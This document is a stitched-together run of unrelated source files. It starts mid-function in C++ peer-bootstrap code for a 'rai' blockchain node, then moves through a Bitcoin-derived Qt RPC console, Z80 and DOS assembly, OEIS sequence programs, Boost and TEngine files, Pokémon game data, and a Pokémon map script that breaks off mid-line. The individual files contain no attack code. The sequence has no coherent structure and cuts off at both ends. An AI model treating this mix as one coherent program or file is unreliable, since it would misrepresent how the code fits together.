rai::ErrorCode::SUCCESS; } if (count != count_) { return rai::ErrorCode::BOOTSTRAP_RESET; } if (UnderAttack()) { return rai::ErrorCode::BOOTSTRAP_ATTACK; } if (client->TimeSpan() >= 10 && client->Total() / client->TimeSpan() < 1000) { return rai::ErrorCode::BOOTSTRAP_SLOW_CONNECTION; } if (node_.Busy()) { rai::ErrorCode error_code = client->Pause(); IF_NOT_SUCCESS_RETURN(error_code); continue; } rai::ErrorCode error_code = client->Run(); IF_NOT_SUCCESS_RETURN(error_code); rai::Transaction transaction(error_code, node_.ledger_, false); IF_NOT_SUCCESS_RETURN(error_code); auto data = client->Accounts(); for (size_t i = 0; i < client->Size(); ++i) { StartSync_(transaction, data[i], count); } if (client->Finished()) { return rai::ErrorCode::SUCCESS; } } } rai::ErrorCode rai::Bootstrap::RunFork_() { boost::optional<rai::Peer> peer = node_.peers_.RandomPeer(); if (!peer) { return rai::ErrorCode::BOOTSTRAP_PEER; } uint32_t count = count_; std::shared_ptr<rai::Socket> socket = std::make_shared<rai::Socket>(node_.Shared()); std::shared_ptr<rai::BootstrapClient> client = std::make_shared<rai::BootstrapClient>(socket, peer->TcpEndpoint(), rai::BootstrapType::FORK); size_t miss = 0; while (true) { if (stopped_) { return rai::ErrorCode::SUCCESS; } if (count != count_) { return rai::ErrorCode::BOOTSTRAP_RESET; } if (client->Total() >= 1000 && miss * 100 / client->Total() >= 50) { return rai::ErrorCode::BOOTSTRAP_ATTACK; } if (client->TimeSpan() >= 10 && client->Total() / client->TimeSpan() < 100) { return rai::ErrorCode::BOOTSTRAP_SLOW_CONNECTION; } if (node_.block_processor_.Busy()) { rai::ErrorCode error_code = client->Pause(); IF_NOT_SUCCESS_RETURN(error_code); continue; } rai::ErrorCode error_code = client->Run(); IF_NOT_SUCCESS_RETURN(error_code); rai::Transaction transaction(error_code, node_.ledger_, false); IF_NOT_SUCCESS_RETURN(error_code); auto data = client->Forks(); for (size_t i = 0; i < client->Size(); ++i) { rai::AccountInfo account_info; bool error = node_.ledger_.AccountInfoGet( transaction, data[i].first_->Account(), account_info); if (error|| !account_info.Valid()) { ++miss; } rai::BlockFork fork{data[i].first_, data[i].second_, false}; node_.block_processor_.AddFork(fork); } if (client->Finished()) { return rai::ErrorCode::SUCCESS; } } } void rai::Bootstrap::Wait_() { waiting_ = true; while (true) { if (stopped_) { break; } bool finished = true; for (uint32_t count = 0; count < count_; ++count) { if (!node_.syncer_.Finished(count)) { finished = false; break; } } if (finished) { break; } std::this_thread::sleep_for(std::chrono::seconds(5)); } waiting_ = false; } void rai::Bootstrap::StartSync_(rai::Transaction& transaction, const rai::BootstrapAccount& data, uint32_t batch) const { rai::AccountInfo info; bool error = node_.ledger_.AccountInfoGet(transaction, data.account_, info); bool account_exists = !error && info.Valid(); if (!account_exists) { node_.syncer_.Add(data.account_, 0, true, batch); return; } if (data.height_ == info.head_height_ && data.head_ == info.head_) { return; } if (data.height_ < info.tail_height_) { return; } else if (data.height_ < info.head_height_) { if (node_.ledger_.BlockExists(transaction, data.head_)) { return; } std::shared_ptr<rai::Block> block(nullptr); error = node_.ledger_.BlockGet(transaction, data.account_, data.height_, block); if (error || block == nullptr) { rai::Stats::Add(rai::ErrorCode::LEDGER_BLOCK_GET, "Bootstrap::StartSync_"); return; } node_.syncer_.Add(data.account_, data.height_ + 1, block->Hash(), true, batch); } else { node_.syncer_.Add(data.account_, info.head_height_ + 1, info.head_, true, batch); } } rai::BootstrapServer::BootstrapServer( const std::shared_ptr<rai::Node>& node, const std::shared_ptr<rai::Socket>& socket, const rai::IP& ip) : error_code_(rai::ErrorCode::SUCCESS), node_(node), socket_(socket), remote_ip_(ip), type_(rai::BootstrapType::INVALID), finished_(false) { send_buffer_.reserve(rai::BootstrapServer::BUFFER_SIZE_); receive_buffer_.resize(rai::BootstrapServer::BUFFER_SIZE_); } rai::BootstrapServer::~BootstrapServer() { node_->bootstrap_listener_.Erase(remote_ip_); } void rai::BootstrapServer::Close() { socket_->Close(); } void rai::BootstrapServer::Receive() { std::shared_ptr<rai::BootstrapServer> this_s = shared_from_this(); socket_->AsyncRead( receive_buffer_, BootstrapMessageSize(), [this_s](const boost::system::error_code& ec, size_t size) { this_s->Run(ec, size); }); } void rai::BootstrapServer::Run(const boost::system::error_code& ec, size_t size) { ReadMessage_(ec, size); if (error_code_ != rai::ErrorCode::SUCCESS) { rai::Stats::Add(error_code_, "BootstrapServer::Run"); return; } if (max_size_ == 0) { Receive(); return; } count_ = 0; continue_ = true; if (type_ == rai::BootstrapType::FULL) { RunFull_(); } else if (type_ == rai::BootstrapType::LIGHT) { RunLight_(); } else if (type_ == rai::BootstrapType::FORK) { RunFork_(); } } void rai::BootstrapServer::ReadMessage_(const boost::system::error_code& ec, size_t size) { if (ec) { error_code_ = rai::ErrorCode::BOOTSTRAP_RECEIVE; rai::Stats::AddDetail(error_code_, "BootstrapServer::ReadMessage_:ec=", ec.message()); return; } if (size != BootstrapMessageSize()) { error_code_ = rai::ErrorCode::BOOTSTRAP_RECEIVE; rai::Stats::AddDetail(error_code_, "BootstrapServer::ReadMessage_: bad size=", size); return; } rai::BufferStream stream(receive_buffer_.data(), size); rai::MessageHeader header(error_code_, stream); IF_NOT_SUCCESS_RETURN_VOID(error_code_); if (header.type_ != rai::MessageType::BOOTSTRAP) { error_code_ = rai::ErrorCode::BOOTSTRAP_MESSAGE_TYPE; return; } rai::BootstrapMessage message(error_code_, stream, header); IF_NOT_SUCCESS_RETURN_VOID(error_code_); if (!rai::StreamEnd(stream)) { error_code_ = rai::ErrorCode::STREAM; rai::Stats::AddDetail(error_code_, "BootstrapServer::ReadMessage_"); return; } if (type_ == rai::BootstrapType::INVALID) { type_ = message.type_; } if (type_ != message.type_) { error_code_ = rai::ErrorCode::BOOTSTRAP_TYPE; return; } next_ = message.start_; height_ = message.height_; max_size_ = message.MaxSize(); } void rai::BootstrapServer::RunFull_() { if (finished_) { // stat return; } if (continue_ == false) { Receive(); return; } rai::BootstrapAccount bootstrap_account; if (count_ < max_size_) { rai::Transaction transaction(error_code_, node_->ledger_, false); IF_NOT_SUCCESS_RETURN_VOID(error_code_); rai::AccountInfo info; bool error = node_->ledger_.NextAccountInfo(transaction, next_, info); if (error) { bootstrap_account.height_ = rai::Block::INVALID_HEIGHT; if (count_ == 0) { finished_ = true; } continue_ = false; } else { bootstrap_account.account_ = next_; bootstrap_account.head_ = info.head_; bootstrap_account.height_ = info.head_height_; ++count_; next_ += 1; } } else { bootstrap_account.height_ = rai::Block::INVALID_HEIGHT; continue_ = false; } send_buffer_.clear(); bootstrap_account.ToBytes(send_buffer_); Send_(std::bind(&rai::BootstrapServer::RunFull_, this)); } void rai::BootstrapServer::RunLight_() { if (finished_) { // stat return; } if (continue_ == false) { Receive(); return; } rai::BootstrapAccount bootstrap_account; if (count_ < max_size_) { rai::Transaction transaction(error_code_, node_->ledger_, false); IF_NOT_SUCCESS_RETURN_VOID(error_code_); rai::AccountInfo info; bool finished = false; while (true) { bool error = node_->active_accounts_.Next(next_); if (error) { bootstrap_account.height_ = rai::Block::INVALID_HEIGHT; if (count_ == 0) { finished_ = true; } continue_ = false; break; } error = node_->ledger_.AccountInfoGet(transaction, next_, info); if (error || !info.Valid()) { next_ += 1; continue; } bootstrap_account.account_ = next_; bootstrap_account.head_ = info.head_; bootstrap_account.height_ = info.head_height_; ++count_; next_ += 1; break; } } else { bootstrap_account.height_ = rai::Block::INVALID_HEIGHT; continue_ = false; } send_buffer_.clear(); bootstrap_account.ToBytes(send_buffer_); Send_(std::bind(&rai::BootstrapServer::RunLight_, this)); } void rai::BootstrapServer::RunFork_() { if (finished_) { // stat return; } if (continue_ == false) { Receive(); return; } rai::BootstrapFork fork; if (count_ < max_size_) { rai::Transaction transaction(error_code_, node_->ledger_, false); IF_NOT_SUCCESS_RETURN_VOID(error_code_); bool error = node_->ledger_.NextFork(transaction, next_, height_, fork.first_, fork.second_); if (error) { fork.length_ = 0; if (count_ == 0) { finished_ = true; } continue_ = false; } else { fork.length_ = static_cast<uint16_t>(fork.first_->Size() + fork.second_->Size()); if (height_ == rai::Block::INVALID_HEIGHT) { next_ += 1; height_ = 0; } else { height_ += 1; } ++count_; } } else { fork.length_ = 0; continue_ = false; } send_buffer_.clear(); fork.ToBytes(send_buffer_); Send_(std::bind(&rai::BootstrapServer::RunFork_, this)); } void rai::BootstrapServer::Send_(const std::function<void()>& callback) { std::shared_ptr<rai::BootstrapServer> this_s(shared_from_this()); size_t buffer_size = send_buffer_.size(); socket_->AsyncWrite(send_buffer_, [this_s, buffer_size, callback]( const boost::system::error_code& ec, size_t size) { if (ec || size != buffer_size) { // stat return; } callback(); }); } rai::BootstrapListener::BootstrapListener(rai::Node& node, boost::asio::io_service& service, uint16_t port) : node_(node), service_(service), acceptor_(service), local_(rai::TcpEndpoint(boost::asio::ip::address_v4::any(), port)), stopped_(false) { } void rai::BootstrapListener::Accept() { auto socket = std::make_shared<rai::Socket>(node_.Shared()); acceptor_.async_accept(socket->socket_, [this, socket](const boost::system::error_code& ec) { Connected(ec, socket); }); } void rai::BootstrapListener::Connected( const boost::system::error_code& ec, const std::shared_ptr<rai::Socket>& socket) { std::shared_ptr<rai::BootstrapServer> server(nullptr); do { std::lock_guard<std::mutex> lock(mutex_); if (stopped_) { return; } if (ec) { // stat // log break; } rai::IP remote_ip = socket->Remote().address().to_v4(); if (rai::IsReservedIp(remote_ip)) { // stat break; } if (connections_.size() >= rai::BootstrapListener::MAX_CONNECTIONS) { break; } if (connections_.find(remote_ip) != connections_.end()) { break; } server = std::make_shared<rai::BootstrapServer>( node_.Shared(), socket, remote_ip); if (server == nullptr) { // log // stat break; } connections_[remote_ip] = server; } while (0); if (server != nullptr) { server->Receive(); } Accept(); } void rai::BootstrapListener::Erase(const rai::IP& ip) { std::lock_guard<std::mutex> lock(mutex_); auto it = connections_.find(ip); if (it == connections_.end()) { return; } connections_.erase(it); } void rai::BootstrapListener::Start() { acceptor_.open(local_.protocol()); acceptor_.set_option(boost::asio::ip::tcp::acceptor::reuse_address(true)); boost::system::error_code ec; acceptor_.bind(local_, ec); if (ec) { // log throw std::runtime_error(ec.message()); } acceptor_.listen(); Accept(); } void rai::BootstrapListener::Stop() { std::unordered_map<rai::IP, std::weak_ptr<rai::BootstrapServer>> connections; { std::lock_guard<std::mutex> lock(mutex_); if (stopped_) { return; } stopped_ = true; connections.swap(connections_); } acceptor_.close(); for (auto& i : connections) { auto connection = i.second.lock(); if (connection) { connection->Close(); } } }
// Copyright (c) 2011-2013 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "rpcconsole.h" #include "ui_rpcconsole.h" #include "clientmodel.h" #include "bitcoinrpc.h" #include "guiutil.h" #include <QTime> #include <QThread> #include <QKeyEvent> #if QT_VERSION < 0x050000 #include <QUrl> #endif #include <QScrollBar> #include <openssl/crypto.h> // TODO: add a scrollback limit, as there is currently none // TODO: make it possible to filter out categories (esp debug messages when implemented) // TODO: receive errors and debug messages through ClientModel const int CONSOLE_HISTORY = 50; const QSize ICON_SIZE(24, 24); const struct { const char *url; const char *source; } ICON_MAPPING[] = { {"cmd-request", ":/icons/tx_input"}, {"cmd-reply", ":/icons/tx_output"}, {"cmd-error", ":/icons/tx_output"}, {"misc", ":/icons/tx_inout"}, {NULL, NULL} }; /* Object for executing console RPC commands in a separate thread. */ class RPCExecutor : public QObject { Q_OBJECT public slots: void request(const QString &command); signals: void reply(int category, const QString &command); }; #include "rpcconsole.moc" /** * Split shell command line into a list of arguments. Aims to emulate \c bash and friends. * * - Arguments are delimited with whitespace * - Extra whitespace at the beginning and end and between arguments will be ignored * - Text can be "double" or 'single' quoted * - The backslash \c \ is used as escape character * - Outside quotes, any character can be escaped * - Within double quotes, only escape \c " and backslashes before a \c " or another backslash * - Within single quotes, no escaping is possible and no special interpretation takes place * * @param[out] args Parsed arguments will be appended to this list * @param[in] strCommand Command line to split */ bool parseCommandLine(std::vector<std::string> &args, const std::string &strCommand) { enum CmdParseState { STATE_EATING_SPACES, STATE_ARGUMENT, STATE_SINGLEQUOTED, STATE_DOUBLEQUOTED, STATE_ESCAPE_OUTER, STATE_ESCAPE_DOUBLEQUOTED } state = STATE_EATING_SPACES; std::string curarg; foreach(char ch, strCommand) { switch(state) { case STATE_ARGUMENT: // In or after argument case STATE_EATING_SPACES: // Handle runs of whitespace switch(ch) { case '"': state = STATE_DOUBLEQUOTED; break; case '\'': state = STATE_SINGLEQUOTED; break; case '\\': state = STATE_ESCAPE_OUTER; break; case ' ': case '\n': case '\t': if(state == STATE_ARGUMENT) // Space ends argument { args.push_back(curarg); curarg.clear(); } state = STATE_EATING_SPACES; break; default: curarg += ch; state = STATE_ARGUMENT; } break; case STATE_SINGLEQUOTED: // Single-quoted string switch(ch) { case '\'': state = STATE_ARGUMENT; break; default: curarg += ch; } break; case STATE_DOUBLEQUOTED: // Double-quoted string switch(ch) { case '"': state = STATE_ARGUMENT; break; case '\\': state = STATE_ESCAPE_DOUBLEQUOTED; break; default: curarg += ch; } break; case STATE_ESCAPE_OUTER: // '\' outside quotes curarg += ch; state = STATE_ARGUMENT; break; case STATE_ESCAPE_DOUBLEQUOTED: // '\' in double-quoted text if(ch != '"' && ch != '\\') curarg += '\\'; // keep '\' for everything but the quote and '\' itself curarg += ch; state = STATE_DOUBLEQUOTED; break; } } switch(state) // final state { case STATE_EATING_SPACES: return true; case STATE_ARGUMENT: args.push_back(curarg); return true; default: // ERROR to end in one of the other states return false; } } void RPCExecutor::request(const QString &command) { std::vector<std::string> args; if(!parseCommandLine(args, command.toStdString())) { emit reply(RPCConsole::CMD_ERROR, QString("Parse error: unbalanced ' or \"")); return; } if(args.empty()) return; // Nothing to do try { std::string strPrint; // Convert argument list to JSON objects in method-dependent way, // and pass it along with the method name to the dispatcher. json_spirit::Value result = tableRPC.execute( args[0], RPCConvertValues(args[0], std::vector<std::string>(args.begin() + 1, args.end()))); // Format result reply if (result.type() == json_spirit::null_type) strPrint = ""; else if (result.type() == json_spirit::str_type) strPrint = result.get_str(); else strPrint = write_string(result, true); emit reply(RPCConsole::CMD_REPLY, QString::fromStdString(strPrint)); } catch (json_spirit::Object& objError) { try // Nice formatting for standard-format error { int code = find_value(objError, "code").get_int(); std::string message = find_value(objError, "message").get_str(); emit reply(RPCConsole::CMD_ERROR, QString::fromStdString(message) + " (code " + QString::number(code) + ")"); } catch(std::runtime_error &) // raised when converting to invalid type, i.e. missing code or message { // Show raw JSON object emit reply(RPCConsole::CMD_ERROR, QString::fromStdString(write_string(json_spirit::Value(objError), false))); } } catch (std::exception& e) { emit reply(RPCConsole::CMD_ERROR, QString("Error: ") + QString::fromStdString(e.what())); } } RPCConsole::RPCConsole(QWidget *parent) : QDialog(parent), ui(new Ui::RPCConsole), clientModel(0), historyPtr(0) { ui->setupUi(this); #ifndef Q_OS_MAC ui->openDebugLogfileButton->setIcon(QIcon(":/icons/export")); ui->showCLOptionsButton->setIcon(QIcon(":/icons/options")); #endif // Install event filter for up and down arrow ui->lineEdit->installEventFilter(this); ui->messagesWidget->installEventFilter(this); connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear())); // set OpenSSL version label ui->openSSLVersion->setText(SSLeay_version(SSLEAY_VERSION)); startExecutor(); clear(); } RPCConsole::~RPCConsole() { emit stopExecutor(); delete ui; } bool RPCConsole::eventFilter(QObject* obj, QEvent *event) { if(event->type() == QEvent::KeyPress) // Special key handling { QKeyEvent *keyevt = static_cast<QKeyEvent*>(event); int key = keyevt->key(); Qt::KeyboardModifiers mod = keyevt->modifiers(); switch(key) { case Qt::Key_Up: if(obj == ui->lineEdit) { browseHistory(-1); return true; } break; case Qt::Key_Down: if(obj == ui->lineEdit) { browseHistory(1); return true; } break; case Qt::Key_PageUp: /* pass paging keys to messages widget */ case Qt::Key_PageDown: if(obj == ui->lineEdit) { QApplication::postEvent(ui->messagesWidget, new QKeyEvent(*keyevt)); return true; } break; default: // Typing in messages widget brings focus to line edit, and redirects key there // Exclude most combinations and keys that emit no text, except paste shortcuts if(obj == ui->messagesWidget && ( (!mod && !keyevt->text().isEmpty() && key != Qt::Key_Tab) || ((mod & Qt::ControlModifier) && key == Qt::Key_V) || ((mod & Qt::ShiftModifier) && key == Qt::Key_Insert))) { ui->lineEdit->setFocus(); QApplication::postEvent(ui->lineEdit, new QKeyEvent(*keyevt)); return true; } } } return QDialog::eventFilter(obj, event); } void RPCConsole::setClientModel(ClientModel *model) { this->clientModel = model; if(model) { // Subscribe to information, replies, messages, errors connect(model, SIGNAL(numConnectionsChanged(int)), this, SLOT(setNumConnections(int))); connect(model, SIGNAL(numBlocksChanged(int,int)), this, SLOT(setNumBlocks(int,int))); // Provide initial values ui->clientVersion->setText(model->formatFullVersion()); ui->clientName->setText(model->clientName()); ui->buildDate->setText(model->formatBuildDate()); ui->startupTime->setText(model->formatClientStartupTime()); setNumConnections(model->getNumConnections()); ui->isTestNet->setChecked(model->isTestNet()); } } static QString categoryClass(int category) { switch(category) { case RPCConsole::CMD_REQUEST: return "cmd-request"; break; case RPCConsole::CMD_REPLY: return "cmd-reply"; break; case RPCConsole::CMD_ERROR: return "cmd-error"; break; default: return "misc"; } } void RPCConsole::clear() { ui->messagesWidget->clear(); history.clear(); historyPtr = 0; ui->lineEdit->clear(); ui->lineEdit->setFocus(); // Add smoothly scaled icon images. // (when using width/height on an img, Qt uses nearest instead of linear interpolation) for(int i=0; ICON_MAPPING[i].url; ++i) { ui->messagesWidget->document()->addResource( QTextDocument::ImageResource, QUrl(ICON_MAPPING[i].url), QImage(ICON_MAPPING[i].source).scaled(ICON_SIZE, Qt::IgnoreAspectRatio, Qt::SmoothTransformation)); } // Set default style sheet ui->messagesWidget->document()->setDefaultStyleSheet( "table { }" "td.time { color: #808080; padding-top: 3px; } " "td.message { font-family: Monospace; font-size: 12px; } " "td.cmd-request { color: #006060; } " "td.cmd-error { color: red; } " "b { color: #006060; } " ); message(CMD_REPLY, (tr("Welcome to the Asgardiacoin RPC console.") + "<br>" + tr("Use up and down arrows to navigate history, and <b>Ctrl-L</b> to clear screen.") + "<br>" + tr("Type <b>help</b> for an overview of available commands.")), true); } void RPCConsole::message(int category, const QString &message, bool html) { QTime time = QTime::currentTime(); QString timeString = time.toString(); QString out; out += "<table><tr><td class=\"time\" width=\"65\">" + timeString + "</td>"; out += "<td class=\"icon\" width=\"32\"><img src=\"" + categoryClass(category) + "\"></td>"; out += "<td class=\"message " + categoryClass(category) + "\" valign=\"middle\">"; if(html) out += message; else out += GUIUtil::HtmlEscape(message, true); out += "</td></tr></table>"; ui->messagesWidget->append(out); } void RPCConsole::setNumConnections(int count) { ui->numberOfConnections->setText(QString::number(count)); } void RPCConsole::setNumBlocks(int count, int countOfPeers) { ui->numberOfBlocks->setText(QString::number(count)); // If there is no current countOfPeers available display N/A instead of 0, which can't ever be true ui->totalBlocks->setText(countOfPeers == 0 ? tr("N/A") : QString::number(countOfPeers)); if(clientModel) ui->lastBlockTime->setText(clientModel->getLastBlockDate().toString()); } void RPCConsole::on_lineEdit_returnPressed() { QString cmd = ui->lineEdit->text(); ui->lineEdit->clear(); if(!cmd.isEmpty()) { message(CMD_REQUEST, cmd); emit cmdRequest(cmd); // Truncate history from current position history.erase(history.begin() + historyPtr, history.end()); // Append command to history history.append(cmd); // Enforce maximum history size while(history.size() > CONSOLE_HISTORY) history.removeFirst(); // Set pointer to end of history historyPtr = history.size(); // Scroll console view to end scrollToEnd(); } } void RPCConsole::browseHistory(int offset) { historyPtr += offset; if(historyPtr < 0) historyPtr = 0; if(historyPtr > history.size()) historyPtr = history.size(); QString cmd; if(historyPtr < history.size()) cmd = history.at(historyPtr); ui->lineEdit->setText(cmd); } void RPCConsole::startExecutor() { QThread *thread = new QThread; RPCExecutor *executor = new RPCExecutor(); executor->moveToThread(thread); // Replies from executor object must go to this object connect(executor, SIGNAL(reply(int,QString)), this, SLOT(message(int,QString))); // Requests from this object must go to executor connect(this, SIGNAL(cmdRequest(QString)), executor, SLOT(request(QString))); // On stopExecutor signal // - queue executor for deletion (in execution thread) // - quit the Qt event loop in the execution thread connect(this, SIGNAL(stopExecutor()), executor, SLOT(deleteLater())); connect(this, SIGNAL(stopExecutor()), thread, SLOT(quit())); // Queue the thread for deletion (in this thread) when it is finished connect(thread, SIGNAL(finished()), thread, SLOT(deleteLater())); // Default implementation of QThread::run() simply spins up an event loop in the thread, // which is what we want. thread->start(); } void RPCConsole::on_tabWidget_currentChanged(int index) { if(ui->tabWidget->widget(index) == ui->tab_console) { ui->lineEdit->setFocus(); } } void RPCConsole::on_openDebugLogfileButton_clicked() { GUIUtil::openDebugLogfile(); } void RPCConsole::scrollToEnd() { QScrollBar *scrollbar = ui->messagesWidget->verticalScrollBar(); scrollbar->setValue(scrollbar->maximum()); } void RPCConsole::on_showCLOptionsButton_clicked() { GUIUtil::HelpMessageBox help; help.exec(); }
; void wpoke_callee(void *addr, uint word) ; 11.2006 aralbrec SECTION code_clib PUBLIC wpoke_callee PUBLIC _wpoke_callee PUBLIC ASMDISP_WPOKE_CALLEE .wpoke_callee ._wpoke_callee pop hl pop de ex (sp),hl .asmentry ld (hl),e inc hl ld (hl),d ret DEFC ASMDISP_WPOKE_CALLEE = # asmentry - wpoke_callee
#ifndef __SPACETODEPTH_HPP__ #define __SPACETODEPTH_HPP__ #include "operator.hpp" #include "operator/spacetodepth_param.hpp" namespace TEngine { class SpaceToDepth : public OperatorWithParam<SpaceToDepth, SpaceToDepthParam> { public: SpaceToDepth() { name_ = "SpaceToDepth"; } SpaceToDepth(const SpaceToDepth& src) = default; virtual ~SpaceToDepth() {} void SetSchema(void) override; bool InferShape(const std::vector<TEngine::TShape>&, std::vector<TEngine::TShape>&, int layout) override; }; } // namespace TEngine #endif
; A140230: Binomial transform of [1, 2, -3, -4, 5, 6, -7, -8, 9, 10,...]. ; 1,3,2,-6,-20,-28,-8,56,144,176,32,-352,-832,-960,-128,1920,4352,4864,512,-9728,-21504,-23552,-2048,47104,102400,110592,8192,-221184,-475136,-507904,-32768,1015808,2162688,2293760,131072,-4587520,-9699328,-10223616,-524288,20447232,42991616,45088768,2097152,-90177536,-188743680,-197132288,-8388608,394264576,822083584,855638016,33554432,-1711276032,-3556769792,-3690987520,-134217728,7381975040,15300820992,15837691904,536870912,-31675383808,-65498251264,-67645734912,-2147483648,135291469824,279172874240,287762808832,8589934592,-575525617664,-1185410973696,-1219770712064,-34359738368,2439541424128,5016521801728,5153960755200,137438953472,-10307921510400,-21165598834688,-21715354648576,-549755813888,43430709297152,89060441849856,91259465105408,2199023255552,-182518930210816,-373833953443840,-382630046466048,-8796093022208,765260092932096,1565704557953024,1600888930041856,35184372088832,-3201777860083712,-6544293208522752,-6685030696878080,-140737488355328 mov $1,1 mov $2,$0 lpb $2,1 add $0,$1 sub $1,$0 mul $0,2 sub $2,1 lpe add $0,$1 mov $1,$0
; A177138: a(n) = (n!*(n+1))/2 with n or (n+1) prime. ; 1,3,12,60,360,2520,20160,19958400,239500800,3113510400,43589145600,177843714048000,3201186852864000,60822550204416000,1216451004088320000,12926008369442488320000,310224200866619719680000 seq $0,93515 ; Numbers k such that either k or k-1 is a prime. seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). div $0,2
/* Copyright (c) 2002-2004 CrystalClear Software, Inc. * Use, modification and distribution is subject to the * Boost Software License, Version 1.0. (See accompanying * file LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt) * Author: Jeff Garland, Bart Garst * $Date$ */ #ifndef BOOST_DATE_TIME_SOURCE #define BOOST_DATE_TIME_SOURCE #endif #include "boost/date_time/gregorian/greg_weekday.hpp" #include "greg_names.hpp" namespace boost { namespace gregorian { //! Return a 3 digit english string of the day of week (eg: Sun) const char* greg_weekday::as_short_string() const { return short_weekday_names[value_]; } //! Return a point to a long english string representing day of week const char* greg_weekday::as_long_string() const { return long_weekday_names[value_]; } #ifndef BOOST_NO_STD_WSTRING //! Return a 3 digit english wchar_t string of the day of week (eg: Sun) const wchar_t* greg_weekday::as_short_wstring() const { return w_short_weekday_names[value_]; } //! Return a point to a long english wchar_t string representing day of week const wchar_t* greg_weekday::as_long_wstring() const { return w_long_weekday_names[value_]; } #endif // BOOST_NO_STD_WSTRING } } //namespace gregorian
db DEX_RATTATA ; pokedex id db 30, 56, 35, 72, 25 ; hp atk def spd spc db POISON, POISON ; type db 255 ; catch rate db 57 ; base exp INCBIN "gfx/pokemon/front/rattata.pic", 0, 1 ; sprite dimensions dw RattataPicFront, RattataPicBack db TACKLE, TAIL_WHIP, NO_MOVE, NO_MOVE ; level 1 learnset db GROWTH_MEDIUM_FAST ; growth rate ; tm/hm learnset tmhm TOXIC, BODY_SLAM, TAKE_DOWN, DOUBLE_EDGE, BUBBLEBEAM, \ WATER_GUN, BLIZZARD, RAGE, THUNDERBOLT, THUNDER, \ DIG, MIMIC, DOUBLE_TEAM, BIDE, SWIFT, \ SKULL_BASH, REST, SUBSTITUTE ; end db 0 ; padding
/****************************************************************************** * _ _____ __________ * * | | / / _ | / __/_ __/ Visibility * * | |/ / __ |_\ \ / / Across * * |___/_/ |_/___/ /_/ Space and Time * * * * This file is part of VAST. It is subject to the license terms in the * * LICENSE file found in the top-level directory of this distribution and at * * http://vast.io/license. No part of VAST, including this file, may be * * copied, modified, propagated, or distributed except according to the terms * * contained in the LICENSE file. * ******************************************************************************/ #pragma once #include "vast/aliases.hpp" #include "vast/fwd.hpp" namespace vast::system { /// Tries to spawn a new EXPORTER. /// @param self Points to the parent actor. /// @param args Configures the new actor. /// @returns a handle to the spawned actor on success, an error otherwise maybe_actor spawn_exporter(node_actor* self, spawn_arguments& args); } // namespace vast::system
; Hello World .386 STACK SEGMENT USE16 STACK DB 200 DUP(0) STACK ENDS DATA SEGMENT USE16 MSG DB 'HELLO WORLD$' DATA ENDS CODE SEGMENT USE16 ASSUME CS:CODE, DS:DATA, SS:STACK START: MOV AX, DATA MOV DS, AX LEA DX, MSG MOV AH, 9 INT 21H MOV AH, 4CH INT 21H CODE ENDS END START
RuinsOfAlphAerodactylChamber_MapScripts: db 2 ; scene scripts scene_script .CheckWall ; SCENE_DEFAULT scene_script .DummyScene ; SCENE_FINISHED db 1 ; callbacks callback MAPCALLBACK_TILES, .HiddenDoors .CheckWall: checkevent EVENT_WALL_OPENED_IN_AERODACTYL_CHAMBER iftrue .OpenWall end .OpenWall: prioritysjump .WallOpenScript end .DummyScene: end .HiddenDoors: checkevent EVENT_WALL_OPENED_IN_AERODACTYL_CHAMBER iftrue .WallOpen changeblock 4, 0, $2e ; closed wall .WallOpen: checkevent EVENT_SOLVED_AERODACTYL_PUZZLE iffalse .FloorClosed return .FloorClosed: changeblock 2, 2, $01 ; left floor changeblock 4, 2, $02 ; right floor return .WallOpenScript: pause 30 earthquake 30 showemote EMOTE_SHOCK, PLAYER, 20 pause 30 playsound SFX_STRENGTH changeblock 4, 0, $30 ; open wall reloadmappart earthquake 50 setscene SCENE_FINISHED closetext end RuinsOfAlphAerodactylChamberPuzzle: refreshscreen setval UNOWNPUZZLE_AERODACTYL special UnownPuzzle closetext iftrue .PuzzleComplete end .PuzzleComplete: setevent EVENT_RUINS_OF_ALPH_INNER_CHAMBER_TOURISTS setevent EVENT_SOLVED_AERODACTYL_PUZZLE setflag ENGINE_UNLOCKED_UNOWNS_S_TO_W setmapscene RUINS_OF_ALPH_INNER_CHAMBER, SCENE_RUINSOFALPHINNERCHAMBER_STRANGE_PRESENCE earthquake 30 showemote EMOTE_SHOCK, PLAYER, 15 changeblock 2, 2, $18 ; left hole changeblock 4, 2, $19 ; right hole reloadmappart playsound SFX_STRENGTH earthquake 80 applymovement PLAYER, RuinsOfAlphAerodactylChamberSkyfallTopMovement playsound SFX_KINESIS waitsfx pause 20 warpcheck end RuinsOfAlphAerodactylChamberAncientReplica: jumptext RuinsOfAlphAerodactylChamberAncientReplicaText RuinsOfAlphAerodactylChamberDescriptionSign: jumptext RuinsOfAlphAerodactylChamberDescriptionText RuinsOfAlphAerodactylChamberWallPatternLeft: opentext writetext RuinsOfAlphAerodactylChamberWallPatternLeftText setval UNOWNWORDS_LIGHT special DisplayUnownWords closetext end RuinsOfAlphAerodactylChamberWallPatternRight: checkevent EVENT_WALL_OPENED_IN_AERODACTYL_CHAMBER iftrue .WallOpen opentext writetext RuinsOfAlphAerodactylChamberWallPatternRightText setval UNOWNWORDS_LIGHT special DisplayUnownWords closetext end .WallOpen: opentext writetext RuinsOfAlphAerodactylChamberWallHoleText waitbutton closetext end RuinsOfAlphAerodactylChamberSkyfallTopMovement: skyfall_top step_end RuinsOfAlphAerodactylChamberWallPatternLeftText: text "Patterns appeared" line "on the wallsโ€ฆ" done RuinsOfAlphAerodactylChamberUnownText: ; unused text "It's UNOWN text!" done RuinsOfAlphAerodactylChamberWallPatternRightText: text "Patterns appeared" line "on the wallsโ€ฆ" done RuinsOfAlphAerodactylChamberWallHoleText: text "There's a big hole" line "in the wall!" done RuinsOfAlphAerodactylChamberAncientReplicaText: text "It's a replica of" line "an ancient #-" cont "MON." done RuinsOfAlphAerodactylChamberDescriptionText: text "This flying #-" line "MON attacked its" para "prey with saw-like" line "fangs." done RuinsOfAlphAerodactylChamber_MapEvents: db 0, 0 ; filler db 5 ; warp events warp_event 3, 9, RUINS_OF_ALPH_OUTSIDE, 4 warp_event 4, 9, RUINS_OF_ALPH_OUTSIDE, 4 warp_event 3, 3, RUINS_OF_ALPH_INNER_CHAMBER, 8 warp_event 4, 3, RUINS_OF_ALPH_INNER_CHAMBER, 9 warp_event 4, 0, 